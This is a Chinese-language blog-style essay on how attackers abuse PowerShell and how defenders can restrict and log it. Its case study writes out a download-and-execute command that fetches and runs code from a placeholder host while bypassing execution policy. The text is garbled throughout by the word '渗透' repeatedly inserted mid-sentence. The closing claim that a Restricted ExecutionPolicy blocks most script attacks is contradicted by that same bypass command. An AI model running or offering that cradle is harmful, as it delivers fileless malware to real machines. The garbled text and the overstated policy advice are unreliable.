PowerShell渗透：一把双刃剑的渗透实战解析
PowerShell不是玩具。它是渗透微软给系统管理员的一把瑞士军刀，但到了攻击者手里，渗透就成了撬开企业内网的渗透主战坦克。我见过太多防守方把注意力全放在防火墙和杀毒软件上，渗透却对自家Windows服务器上默认开启的渗透PowerShell视而不见——这等于把钥匙放在门口垫子底下，还挂着“欢迎光临”的渗透牌子。 先看个真实案例。渗透去年某金融公司被攻破，渗透溯源时发现攻击者根本没用什么0day，渗透就靠一条PowerShell命令下载了内存马。渗透全程无文件落地，渗透杀软日志干干净净，渗透直到数据被拖走才惊觉异常。渗透那条命令长这样：powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/a')"。渗透简单得像小学生抄作业，却打穿了层层防护。 PowerShell的可怕之处在于它天生受信任。Windows默认允许它调用.NET框架、访问系统API、操作WMI——这些都是杀软不敢轻易拦截的合法行为。攻击者可以轻松混淆代码，把恶意载荷拆成几千个变量拼接，让静态扫描直接傻眼。更别提那些内存注入手法，注入完连进程列表都看不出异常。 但别急着恐慌，防守方也有自己的杀招。微软提供了Constrained Language Mode，能把PowerShell限制成“只读模式”，禁止执行任意代码。还有Script Block Logging，能记录每条命令的完整内容——攻击者再狡猾，也逃不过日志审计。我见过一个运维团队把PowerShell远程管理全改成SSH密钥认证，硬是把攻击面砍掉一大半。 不过真正高明的防守者会反过来用PowerShell钓鱼。蜜罐脚本伪装成系统更新提示，一旦攻击者执行，立刻触发告警并锁定其IP。这招屡试不爽，因为攻击者总觉得PowerShell是“安全通道”，反而放松了警惕。 说到底，PowerShell渗透拼的不是技术炫技，而是对系统信任边界的理解。攻击者利用的是“合法工具非法用途”的灰色地带，防守者要做的不是禁用工具，而是把灰色地带压缩到最小。就像你家门锁再坚固，也防不住有人拿你钥匙光明正大开门——PowerShell就是那把钥匙，关键看你怎么保管。 最后提醒一句：如果你还在用默认的ExecutionPolicy，赶紧改成Restricted。这行代码花不了十秒，但可能帮你挡掉九成脚本攻击。别等出事了才想起补课，安全这行，从来都是手快有手慢无。 
